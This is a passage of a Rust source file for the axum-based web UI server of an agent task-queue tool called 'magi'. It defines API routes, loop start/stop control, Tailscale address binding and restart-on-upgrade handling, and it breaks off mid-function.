1use std::collections::{HashMap, HashSet};
94use std::convert::Infallible;
95use std::net::{IpAddr, Ipv4Addr, SocketAddr};
96use std::path::{Path as FsPath, PathBuf};
97use std::pin::Pin;
98use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
99use std::time::Duration;
100use tokio::sync::Notify;
101
102use anyhow::{Context, Result};
103use axum::Json;
104use axum::Router;
105use axum::body::Bytes;
106use axum::extract::rejection::JsonRejection;
107use axum::extract::{DefaultBodyLimit, Path, Query, State};
108use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
109use axum::response::sse::{Event, KeepAlive, Sse};
110use axum::response::{IntoResponse, Response};
111use axum::routing::{delete, get, post};
112use jiff::Timestamp;
113use serde::{Deserialize, Serialize};
114use tokio_stream::StreamExt as _;
115use tokio_stream::wrappers::ReceiverStream;
116
117use crate::ask::{Answer, Question, Questions};
118use crate::config::{Config, Update, UpdateMode};
119use crate::md;
120use crate::proc::Quiet as _;
121use crate::queue::{Queue, Task, title_from};
122use crate::run::{RunState, RunStatus};
123use crate::talk::{Talk, Talks};
124use crate::{daemon, report, repos, run, talk, updater};
125
126pub const DEFAULT_PORT: u16 = 7878;
128
129const POLL: Duration = Duration::from_secs(1);
131
132const KEEPALIVE: Duration = Duration::from_secs(15);
136
137const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
148
149const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
152
153const LIST_DEFAULT: usize = 50;
157const LIST_MAX: usize = 500;
159
160const TITLE_MAX: usize = 72;
162
163const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;
172
173const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];
179
180const FILENAME_HEADER: &str = "x-filename";
184
185const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
208 font-src data:; base-uri 'none'; form-action 'none'; \
209 frame-ancestors 'self'";
210
211const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
212const APP_CSS: &str = include_str!("../assets/ui/app.css");
213const APP_JS: &str = include_str!("../assets/ui/app.js");
214
215#[derive(Debug, Clone, Copy, PartialEq, Eq)]
217pub enum Bind {
218 Auto,
220 Addr(IpAddr),
222}
223
224impl std::str::FromStr for Bind {
225 type Err = String;
226
227 fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
231 if s.eq_ignore_ascii_case("auto") {
232 return Ok(Self::Auto);
233 }
234 s.parse()
235 .map(Self::Addr)
236 .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
237 }
238}
239
240impl std::fmt::Display for Bind {
241 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
242 match self {
243 Self::Auto => f.write_str("auto"),
244 Self::Addr(addr) => write!(f, "{addr}"),
245 }
246 }
247}
248
249#[derive(Debug, Clone)]
251pub struct Opts {
252 pub bind: Bind,
254 pub port: u16,
256 pub repo: PathBuf,
258 pub open: bool,
261 pub merge: Option<String>,
269}
270
271impl Default for Opts {
272 fn default() -> Self {
273 Self {
274 bind: Bind::Auto,
275 port: DEFAULT_PORT,
276 repo: PathBuf::from("."),
277 open: false,
278 merge: None,
279 }
280 }
281}
282
283#[derive(Debug, Clone)]
289pub struct Ui {
290 queue: Queue,
291 questions: Questions,
292 talks: Talks,
293 runs: PathBuf,
294 home: PathBuf,
295 repo: PathBuf,
296 worktrees_root: PathBuf,
303 talk_turns: Arc<Mutex<TalkTurns>>,
311 resuming: Arc<Mutex<HashSet<String>>>,
319 repos_cache: repos::Cache,
323 merge: Option<String>,
325 looping: Arc<Mutex<LoopState>>,
327 launch: Launch,
339}
340
341impl Ui {
342 pub fn new(
344 queue: Queue,
345 questions: Questions,
346 talks: Talks,
347 runs: PathBuf,
348 home: PathBuf,
349 repo: PathBuf,
350 ) -> Self {
351 Self {
352 queue,
353 questions,
354 talks,
355 runs,
356 home,
357 repo,
358 worktrees_root: run::default_worktree_root(),
362 talk_turns: Arc::default(),
363 resuming: Arc::default(),
364 repos_cache: repos::Cache::new(),
365 merge: None,
366 looping: Arc::default(),
367 launch: launch_daemon,
368 }
369 }
370
371 pub fn open(repo: PathBuf) -> Self {
374 Self::new(
375 Queue::open(),
376 Questions::open(),
377 Talks::open(),
378 run::runs_root(),
379 run::home(),
380 repo,
381 )
382 }
383
384 #[must_use]
391 pub fn with_merge(mut self, merge: Option<String>) -> Self {
392 self.merge = merge;
393 self
394 }
395
396 #[must_use]
401 pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
402 self.worktrees_root = root;
403 self
404 }
405
406 #[cfg(test)]
411 #[must_use]
412 fn with_launch(mut self, launch: Launch) -> Self {
413 self.launch = launch;
414 self
415 }
416
417 fn looping(&self) -> Arc<Mutex<LoopState>> {
419 Arc::clone(&self.looping)
420 }
421
422 fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
429 if let Some(other) = foreign {
430 return Err(ApiError::conflict(format!(
431 "{} is already running the loop, so this one will not start a \
432 second: two loops on one queue race for the same claims and \
433 burn the agent quota twice over. Stop it where it was \
434 started.",
435 other.who()
436 )));
437 }
438 let mut state = self.lock_loop();
439 if state.live.as_ref().is_some_and(Live::alive) {
440 return Err(ApiError::conflict(format!(
441 "this magi web process (pid {}) is already running the loop",
442 std::process::id()
443 )));
444 }
445
446 let stop = daemon::Stop::new();
447 let opts = daemon::Opts {
451 repo: self.repo.clone(),
452 merge: self.merge.clone(),
453 worktrees_root: Some(self.worktrees_root.clone()),
460 ..daemon::Opts::default()
461 };
462 let launch = self.launch;
463 let looping = Arc::clone(&self.looping);
464 let handle = tokio::spawn({
465 let opts = opts.clone();
466 let stop = stop.clone();
467 async move {
468 let failure = match launch(opts, stop).await {
469 Ok(()) => None,
470 Err(e) => Some(format!("{e:#}")),
471 };
472 match &failure {
473 Some(why) => tracing::error!("the loop stopped: {why}"),
474 None => tracing::info!("the loop stopped"),
475 }
476 let mut state = lock_or_recover(&looping);
482 state.live = None;
483 state.last_error = failure;
484 state.rev += 1;
485 }
486 });
487 tracing::info!(
488 "the loop is now running in this process: repo {}, merge {}",
489 opts.repo.display(),
490 opts.merge.as_deref().unwrap_or("as the config says")
491 );
492 state.live = Some(Live { stop, handle, opts });
493 state.last_error = None;
496 state.rev += 1;
497 Ok(())
498 }
499
500 fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
506 if let Some(other) = foreign {
507 return Err(ApiError::conflict(format!(
508 "the loop belongs to {}, and this process cannot stop it - \
509 stop it where it was started. A button that silently did \
510 nothing would be worse than this refusal.",
511 other.who()
512 )));
513 }
514 let mut state = self.lock_loop();
515 let Some(live) = state.live.as_ref() else {
516 return Ok(());
517 };
518 if live.stop.stopped() && (!park || live.stop.parking()) {
522 return Ok(());
523 }
524 if park {
525 live.stop.park();
526 tracing::info!("the loop was asked to park; the run stops at its next node boundary");
527 } else {
528 live.stop.stop();
529 tracing::info!("the loop was asked to stop; a run in flight is finished first");
530 }
531 state.rev += 1;
532 Ok(())
533 }
534
535 fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
542 let state = self.lock_loop();
543 let live = state.live.as_ref().filter(|live| live.alive());
546 LoopView {
547 running: live.is_some(),
548 stopping: live.is_some_and(|live| live.stop.finishing()),
549 parking: live.is_some_and(|live| live.stop.parking()),
550 owned: live.is_some(),
551 repo: live
552 .map_or(&self.repo, |live| &live.opts.repo)
553 .display()
554 .to_string(),
555 merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
556 last_error: state.last_error.clone(),
557 daemon: DaemonView::of(reading),
558 }
559 }
560
561 fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
563 lock_or_recover(&self.looping)
564 }
565
566 fn is_thinking(&self, id: &str) -> bool {
572 self.talk_turns
573 .lock()
574 .is_ok_and(|turns| turns.live.contains(id))
575 }
576
577 fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
596 self.claim_talk_turn(id, false)
597 }
598
599 fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
602 self.claim_talk_turn(id, true)
603 }
604
605 fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
606 let mut live = self
607 .talk_turns
608 .lock()
609 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
610 if !live.live.insert(id.to_owned()) {
611 if queued {
612 *live.queued.entry(id.to_owned()).or_default() += 1;
617 }
618 return Ok(None);
619 }
620 Ok(Some(TalkTurnGuard {
621 talk: id.to_owned(),
622 turns: Arc::clone(&self.talk_turns),
623 released: false,
624 }))
625 }
626
627 fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
632 let mut live = self
633 .talk_turns
634 .lock()
635 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
636 if live.live.contains(id) {
637 return Ok(TalkTurnStart::Busy);
638 }
639 let talk = self.talks.get(id).map_err(ApiError::from)?;
640 if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
641 return Ok(TalkTurnStart::Pending);
642 }
643 live.live.insert(id.to_owned());
644 Ok(TalkTurnStart::Claimed(TalkTurnGuard {
645 talk: id.to_owned(),
646 turns: Arc::clone(&self.talk_turns),
647 released: false,
648 }))
649 }
650
651 fn park_for_upgrade(&self) -> ApiResult<Option<String>> {
658 let parking = {
659 let mut state = self.lock_loop();
660 let Some(live) = state.live.as_ref() else {
661 return Ok(None);
662 };
663 let busy = live.stop.busy_now();
664 live.stop.park();
665 state.rev += 1;
666 busy
667 };
668 Ok(if parking {
669 daemon::current_work(&self.home, jiff::Timestamp::now())
674 .into_iter()
675 .next()
676 .map(|c| c.run)
677 } else {
678 None
679 })
680 }
681
682 fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
686 let mut live = self
687 .resuming
688 .lock()
689 .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
690 if !live.insert(id.to_owned()) {
691 return Err(ApiError::conflict(format!(
692 "run {id} is already being resumed"
693 )));
694 }
695 Ok(ResumeGuard {
696 run: id.to_owned(),
697 resuming: Arc::clone(&self.resuming),
698 })
699 }
700
701 pub fn router(self) -> Router {
709 Router::new()
710 .route("/", get(index))
711 .route("/app.css", get(app_css))
712 .route("/app.js", get(app_js))
713 .route("/api/health", get(health))
714 .route("/api/loop", get(loop_get).post(loop_post))
715 .route("/api/upgrade", post(upgrade_post))
716 .route("/api/runs", get(runs_list))
717 .route("/api/runs/{id}", get(run_detail).delete(run_delete))
718 .route("/api/runs/{id}/report", get(run_report))
719 .route("/api/runs/{id}/fold", post(run_fold))
720 .route("/api/runs/{id}/resume", post(run_resume))
721 .route("/api/queue", get(queue_list))
722 .route("/api/queue/{id}", delete(queue_delete))
723 .route("/api/repos", get(repos_list))
724 .route("/api/queue/{id}/hold", post(queue_hold))
725 .route("/api/queue/{id}/release", post(queue_release))
726 .route("/api/queue/{id}/priority", post(queue_priority))
727 .route("/api/queue/{id}/edit", post(queue_edit))
728 .route("/api/queue/{id}/done", post(queue_done))
729 .route("/api/questions", get(questions_list))
730 .route("/api/questions/{id}/answer", post(question_answer))
731 .route("/api/questions/{id}/say", post(question_say))
732 .route("/api/questions/{id}/panel", get(question_panel))
733 .route("/api/questions/{id}/panel/index.html", get(question_panel))
741 .route("/api/questions/{id}/panel/{name}", get(question_asset))
742 .route("/api/questions/{id}/asset/{name}", get(question_asset))
743 .route("/api/talks", get(talks_list).post(talk_post))
744 .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
745 .route("/api/talks/{id}/say", post(talk_say))
746 .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
747 .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
748 .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
749 .route("/api/talks/{id}/close", post(talk_close))
750 .route("/api/talks/{id}/reopen", post(talk_reopen))
751 .route(
757 "/api/talks/{id}/attachments",
758 post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
759 )
760 .route(
761 "/api/talks/{id}/attachments/{att}",
762 get(talk_attachment_get),
763 )
764 .route("/api/events", get(events))
765 .with_state(Arc::new(self))
766 }
767}
768
769#[derive(Debug)]
775struct TalkTurnGuard {
776 talk: String,
777 turns: Arc<Mutex<TalkTurns>>,
778 released: bool,
779}
780
781#[derive(Debug, Default)]
788struct TalkTurns {
789 live: HashSet<String>,
790 queued: HashMap<String, u64>,
791}
792
793enum TalkTurnStart {
796 Claimed(TalkTurnGuard),
797 Busy,
798 Pending,
799}
800
801impl TalkTurnGuard {
802 fn release(mut self, live: &mut TalkTurns) {
805 live.live.remove(&self.talk);
806 live.queued.remove(&self.talk);
807 self.released = true;
808 }
809}
810
811impl Drop for TalkTurnGuard {
812 fn drop(&mut self) {
813 if self.released {
814 return;
815 }
816 if let Ok(mut live) = self.turns.lock() {
817 live.live.remove(&self.talk);
818 live.queued.remove(&self.talk);
819 }
820 }
821}
822
823struct ResumeGuard {
825 run: String,
826 resuming: Arc<Mutex<HashSet<String>>>,
827}
828
829impl Drop for ResumeGuard {
830 fn drop(&mut self) {
831 if let Ok(mut live) = self.resuming.lock() {
832 live.remove(&self.run);
833 }
834 }
835}
836
837async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
847 const WINDOW: Duration = Duration::from_secs(10);
848 const GAP: Duration = Duration::from_millis(250);
849
850 let deadline = std::time::Instant::now() + WINDOW;
851 let mut said = false;
852 loop {
853 match tokio::net::TcpListener::bind(socket).await {
854 Ok(listener) => return Ok(listener),
855 Err(e)
856 if e.kind() == std::io::ErrorKind::AddrInUse
857 && std::time::Instant::now() < deadline =>
858 {
859 if !said {
860 said = true;
861 tracing::info!(
862 "{socket} is still held - waiting up to {}s for it, \
863 which is what a restart looks like from here",
864 WINDOW.as_secs()
865 );
866 }
867 tokio::time::sleep(GAP).await;
868 }
869 Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
870 }
871 }
872}
873
874static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
877
878fn spawn_successor() -> Result<()> {
890 let exe = std::env::current_exe().context("find this binary")?;
891 let args: Vec<String> = std::env::args().skip(1).collect();
892 tracing::info!("restarting: {} {}", exe.display(), args.join(" "));
893
894 let mut cmd = std::process::Command::new(&exe);
895 cmd.args(&args)
896 .stdin(std::process::Stdio::null())
897 .stdout(std::process::Stdio::null())
898 .stderr(std::process::Stdio::null());
899 #[cfg(windows)]
900 {
901 use std::os::windows::process::CommandExt as _;
902 cmd.creation_flags(0x0000_0008 | 0x0000_0200);
905 }
906 cmd.spawn().context("start the successor")?;
907 Ok(())
908}
909
910pub async fn serve(opts: Opts) -> Result<()> {
935 let (addr, warning) = resolve_bind(&opts.bind);
936 if let Some(warning) = warning {
937 tracing::warn!("{warning}");
938 }
939
940 report::set_color(false);
946
947 let ui = Ui::open(opts.repo).with_merge(opts.merge);
948 let home = ui.home.clone();
953 let repo = ui.repo.clone();
954 updater::reconcile_after_restart(&home);
959 tokio::spawn(run_update_recheck(repo, home.clone()));
968 let looping = ui.looping();
969 let socket = SocketAddr::new(addr, opts.port);
970 let listener = bind_waiting(socket).await?;
971 let url = format!("http://{addr}:{}", opts.port);
972 tracing::info!(
973 "magi web UI on {url} - there is no authentication, so anyone who can \
974 reach this address can file and hold tasks: the tailnet is the \
975 security boundary"
976 );
977 tracing::info!(
978 "the queue loop is not running yet - start it from the UI, which is \
979 the whole reason this process can: nothing in the queue moves until \
980 something is running the loop"
981 );
982 if opts.open {
983 println!("{url}");
987 }
988
989 let mut served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
992 let interrupted = async {
993 if tokio::signal::ctrl_c().await.is_err() {
994 std::future::pending::<()>().await;
999 }
1000 };
1001 let handover = HANDOVER.notified();
1002 tokio::select! {
1003 joined = &mut served => match joined {
1004 Ok(outcome) => outcome.context("serve the web UI"),
1005 Err(e) => Err(e).context("the task serving the web UI ended"),
1006 },
1007 () = interrupted => {
1008 tracing::info!("shutting down the web UI");
1009 finish_loop(&looping).await;
1010 Ok(())
1011 }
1012 () = handover => {
1013 tracing::info!("upgraded - handing this address to the successor");
1014 hand_over(&home, &looping, served, spawn_successor).await
1015 }
1016 }
1017}
1018
1019async fn hand_over(
1047 home: &FsPath,
1048 looping: &Mutex<LoopState>,
1049 served: tokio::task::JoinHandle<std::io::Result<()>>,
1050 successor: impl FnOnce() -> Result<()>,
1051) -> Result<()> {
1052 if let Some(mut progress) = updater::read_progress(home) {
1053 progress.advance(updater::Stage::Parking);
1054 let _ = updater::write_progress(home, &progress);
1055 }
1056 finish_loop(looping).await;
1057 served.abort();
1058 let _ = served.await;
1059 if let Some(mut progress) = updater::read_progress(home) {
1060 progress.advance(updater::Stage::Restarting);
1061 let _ = updater::write_progress(home, &progress);
1062 }
1063 successor()
1064}
1065
1066async fn finish_loop(state: &Mutex<LoopState>) {
1073 let live = lock_or_recover(state).live.take();
1074 let Some(live) = live else { return };
1075 live.stop.stop();
1076 lock_or_recover(state).rev += 1;
1077 tracing::info!("waiting for the loop to finish the run in flight");
1078 let _ = live.handle.await;
1081}
1082
1083pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
1089 match bind {
1090 Bind::Addr(addr) => (*addr, None),
1091 Bind::Auto => match tailscale_ip() {
1092 Ok(ip) => (IpAddr::V4(ip), None),
1093 Err(why) => (
1094 IpAddr::V4(Ipv4Addr::LOCALHOST),
1095 Some(format!(
1096 "--bind auto fell back to 127.0.0.1: {why}. The UI is \
1097 local-only and a phone cannot reach it; start Tailscale \
1098 or pass --bind <addr>"
1099 )),
1100 ),
1101 },
1102 }
1103}
1104
1105fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
1113 let out = std::process::Command::new("tailscale")
1114 .args(["ip", "-4"])
1115 .quiet()
1116 .output()
1117 .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
1118 if !out.status.success() {
1119 let why = String::from_utf8_lossy(&out.stderr);
1120 let why = why.trim();
1121 return Err(format!(
1122 "`tailscale ip -4` failed ({}){}",
1123 out.status,
1124 if why.is_empty() {
1125 String::new()
1126 } else {
1127 format!(": {why}")
1128 }
1129 ));
1130 }
1131 String::from_utf8_lossy(&out.stdout)
1132 .lines()
1133 .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
1134 .find(is_tailnet)
1135 .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
1136}
1137
1138fn is_tailnet(ip: &Ipv4Addr) -> bool {
1140 let o = ip.octets();
1141 o[0] == 100 && (64..=127).contains(&o[1])
1142}
1143
1144type ApiResult<T> = std::result::Result<T, ApiError>;
1148
1149#[derive(Debug)]
1151struct ApiError {
1152 status: StatusCode,
1153 message: String,
1154}
1155
1156impl ApiError {
1157 fn bad_request(message: impl Into<String>) -> Self {
1159 Self {
1160 status: StatusCode::BAD_REQUEST,
1161 message: message.into(),
1162 }
1163 }
1164
1165 fn not_found(message: impl Into<String>) -> Self {
1167 Self {
1168 status: StatusCode::NOT_FOUND,
1169 message: message.into(),
1170 }
1171 }
1172
1173 fn with_status(mut self, status: StatusCode) -> Self {
1176 self.status = status;
1177 self
1178 }
1179
1180 fn bad_request_from(e: anyhow::Error) -> Self {
1184 Self::bad_request(format!("{e:#}"))
1185 }
1186
1187 fn conflict(message: impl Into<String>) -> Self {
1188 Self {
1189 status: StatusCode::CONFLICT,
1190 message: message.into(),
1191 }
1192 }
1193
1194 fn internal(message: impl Into<String>) -> Self {
1196 Self {
1197 status: StatusCode::INTERNAL_SERVER_ERROR,
1198 message: message.into(),
1199 }
1200 }
1201}
1202
1203impl From<anyhow::Error> for ApiError {
1204 fn from(e: anyhow::Error) -> Self {
1209 Self::internal(format!("{e:#}"))
1210 }
1211}
1212
1213impl IntoResponse for ApiError {
1214 fn into_response(self) -> Response {
1215 let body = serde_json::json!({ "error": self.message });
1216 (self.status, Json(body)).into_response()
1217 }
1218}
1219
1220async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
1229where
1230 T: Send + 'static,
1231{
1232 match tokio::task::spawn_blocking(job).await {
1233 Ok(result) => result,
1234 Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
1235 }
1236}
1237
1238const ASSET_CACHE: &str = "no-cache, must-revalidate";
1256
1257fn asset_etag() -> &'static str {
1264 static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
1265 format!(
1266 "\"{}-{}\"",
1267 env!("CARGO_PKG_VERSION"),
1268 INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
1273 )
1274 });
1275 &TAG
1276}
1277
1278fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
1280 [
1281 (header::CONTENT_TYPE, mime),
1282 (header::CACHE_CONTROL, ASSET_CACHE),
1283 (header::ETAG, asset_etag()),
1284 ]
1285}
1286
1287fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
1295 let tag = asset_etag();
1296 let known = headers
1297 .get(header::IF_NONE_MATCH)
1298 .and_then(|v| v.to_str().ok())
1299 .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
1303 if known {
1304 return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
1305 }
1306 (asset_headers(mime), body).into_response()
1307}
1308
1309async fn index(headers: header::HeaderMap) -> Response {
1310 asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
1311}
1312
1313async fn app_css(headers: header::HeaderMap) -> Response {
1314 asset(&headers, "text/css; charset=utf-8", APP_CSS)
1315}
1316
1317async fn app_js(headers: header::HeaderMap) -> Response {
1318 asset(&headers, "text/javascript; charset=utf-8", APP_JS)
1319}
1320
1321#[derive(Debug, Serialize)]
1323struct HealthView {
1324 version: &'static str,
1325 home: String,
1326 queue_rev: u64,
1327 runs_rev: u64,
1328 questions_rev: u64,
1340 talks_rev: u64,
1342 loop_rev: u64,
1347 runs_unreadable: usize,
1355 disk: DiskView,
1363 questions_open: usize,
1369 questions_needs_owner: usize,
1379 daemon: DaemonView,
1380 #[serde(rename = "loop")]
1386 looping: LoopView,
1387 update: UpdateView,
1394 upgrade: Option<UpgradeProgressView>,
1398}
1399
1400#[derive(Debug, Serialize)]
1407struct UpdateView {
1408 available: bool,
1410 to: Option<String>,
1412}
1413
1414#[derive(Debug, Serialize)]
1416struct UpgradeProgressView {
1417 stage: updater::Stage,
1418 from: String,
1419 to: Option<String>,
1420 waiting_on: Option<String>,
1423 started_at: Timestamp,
1424 updated_at: Timestamp,
1425 detail: Option<String>,
1426}
1427
1428fn should_spawn_recheck(cfg: &Update) -> bool {
1435 cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
1436}
1437
1438fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
1450 if progress.is_some_and(|p| !p.stage.terminal()) {
1451 return false;
1452 }
1453 checker.should_check()
1454}
1455
1456fn recheck_poll_period(cfg: &Update) -> Duration {
1469 (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
1470}
1471
1472async fn run_update_recheck(repo: PathBuf, home: PathBuf) {
1496 loop {
1497 let (cfg, _) = Config::discover(&repo, None).unwrap_or_default();
1498 tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
1499 if !should_spawn_recheck(&cfg.update) {
1500 continue;
1501 }
1502 let Some(checker) = updater::Checker::new(&cfg.update) else {
1503 continue;
1504 };
1505 let progress = updater::read_progress(&home);
1506 if !update_recheck_due(&checker, progress.as_ref()) {
1507 continue;
1508 }
1509 if let Err(e) = checker.newer_release().await {
1510 tracing::warn!("background update recheck failed: {e:#}");
1511 }
1512 }
1513}
1514
1515fn cached_update_view(repo: &FsPath) -> UpdateView {
1521 let (cfg, _) = Config::discover(repo, None).unwrap_or_default();
1522 let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
1523 match latest {
1524 Some(latest) => UpdateView {
1525 available: true,
1526 to: Some(latest.tag_name),
1527 },
1528 None => UpdateView {
1529 available: false,
1530 to: None,
1531 },
1532 }
1533}
1534
1535fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
1541 let waiting_on = (progress.stage == updater::Stage::Parking)
1542 .then_some(progress.parked_run.as_deref())
1543 .flatten()
1544 .and_then(|id| read_run(&ui.runs, id).ok())
1545 .map(|run| {
1546 format!(
1547 "run {} is finishing {} before the address is handed over",
1548 run.short(),
1549 run.status.as_str()
1550 )
1551 });
1552 UpgradeProgressView {
1553 stage: progress.stage,
1554 from: progress.from,
1555 to: progress.to,
1556 waiting_on,
1557 started_at: progress.started_at,
1558 updated_at: progress.updated_at,
1559 detail: progress.detail,
1560 }
1561}
1562
1563#[derive(Debug, Serialize)]
1568struct DiskView {
1569 #[serde(skip_serializing_if = "Option::is_none")]
1571 free_bytes: Option<u64>,
1572 runs_bytes: u64,
1574 worktrees_bytes: u64,
1576 #[serde(skip_serializing_if = "Option::is_none")]
1578 cache_bytes: Option<u64>,
1579}
1580
1581impl DiskView {
1582 fn of(ui: &Ui) -> Self {
1584 let cache_bytes = Config::discover(&ui.repo, None)
1585 .ok()
1586 .and_then(|(cfg, _)| cfg.cache_dir())
1587 .map(|dir| crate::disk::dir_size(&dir));
1588 Self {
1589 free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
1590 runs_bytes: crate::disk::dir_size(&ui.runs),
1591 worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
1592 cache_bytes,
1593 }
1594 }
1595}
1596
1597#[derive(Debug, Serialize)]
1599struct DaemonView {
1600 running: bool,
1601 idle: Option<bool>,
1602 pid: Option<u32>,
1603 current: Vec<daemon::Current>,
1607 completed: Option<u64>,
1608 stale_for_secs: Option<i64>,
1609}
1610
1611impl DaemonView {
1612 fn of(status: Option<daemon::Reading>) -> Self {
1616 let Some(status) = status else {
1617 return Self {
1618 running: false,
1619 idle: None,
1620 pid: None,
1621 current: Vec::new(),
1622 completed: None,
1623 stale_for_secs: None,
1624 };
1625 };
1626 let now = Timestamp::now();
1627 let age = status.age_secs(now);
1628 Self {
1629 running: status.running(now),
1630 idle: Some(status.idle),
1631 pid: status.pid,
1632 current: status.current,
1633 completed: Some(status.completed),
1634 stale_for_secs: age,
1635 }
1636 }
1637}
1638
1639async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
1640 blocking(move || {
1641 let reading = daemon::read_status(&ui.home);
1645 let loop_rev = ui.lock_loop().rev;
1649 let update = cached_update_view(&ui.repo);
1650 let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
1651 Ok(Json(HealthView {
1652 version: env!("CARGO_PKG_VERSION"),
1653 home: ui.home.display().to_string(),
1654 queue_rev: ui.queue.revision(),
1655 runs_rev: runs_revision(&ui.runs),
1656 questions_rev: ui.questions.revision(),
1657 talks_rev: ui.talks.revision(),
1658 loop_rev,
1659 runs_unreadable: runs_unreadable(&ui.runs),
1660 questions_open: ui.questions.count_open(),
1661 questions_needs_owner: ui.questions.count_needs_owner(),
1662 daemon: DaemonView::of(reading.clone()),
1663 looping: ui.loop_view(reading),
1664 disk: DiskView::of(&ui),
1665 update,
1666 upgrade,
1667 }))
1668 })
1669 .await
1670}
1671
1672#[derive(Debug, Serialize)]
1674struct LoopView {
1675 running: bool,
1677 stopping: bool,
1685 parking: bool,
1693 owned: bool,
1701 repo: String,
1704 merge: Option<String>,
1707 last_error: Option<String>,
1715 daemon: DaemonView,
1718}
1719
1720#[derive(Debug, Clone, Copy)]
1729struct Foreign {
1730 pid: Option<u32>,
1732}
1733
1734impl Foreign {
1735 fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
1738 let reading = reading?;
1739 if !reading.running(Timestamp::now()) {
1740 return None;
1741 }
1742 match reading.pid {
1743 Some(pid) if pid == std::process::id() => None,
1744 pid => Some(Self { pid }),
1748 }
1749 }
1750
1751 fn who(&self) -> String {
1754 match self.pid {
1755 Some(pid) => format!("another magi process (pid {pid})"),
1756 None => "another magi process".to_owned(),
1757 }
1758 }
1759}
1760
1761type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
1766
1767fn launch_daemon(
1769 opts: daemon::Opts,
1770 stop: daemon::Stop,
1771) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
1772 Box::pin(daemon::serve_until(opts, stop))
1773}
1774
1775#[derive(Debug, Default)]
1777struct LoopState {
1778 live: Option<Live>,
1780 rev: u64,
1788 last_error: Option<String>,
1791}
1792
1793#[derive(Debug)]
1795struct Live {
1796 stop: daemon::Stop,
1798 handle: tokio::task::JoinHandle<()>,
1803 opts: daemon::Opts,
1807}
1808
1809impl Live {
1810 fn alive(&self) -> bool {
1812 !self.handle.is_finished()
1813 }
1814}
1815
1816fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
1823 state.lock().unwrap_or_else(PoisonError::into_inner)
1824}
1825
1826async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
1828 blocking(move || {
1829 let reading = daemon::read_status(&ui.home);
1830 Ok(Json(ui.loop_view(reading)))
1831 })
1832 .await
1833}
1834
1835#[derive(Debug, Deserialize)]
1841#[serde(deny_unknown_fields)]
1842struct LoopCommand {
1843 running: bool,
1844 #[serde(default)]
1854 park: bool,
1855}
1856
1857async fn loop_post(
1865 State(ui): State<Arc<Ui>>,
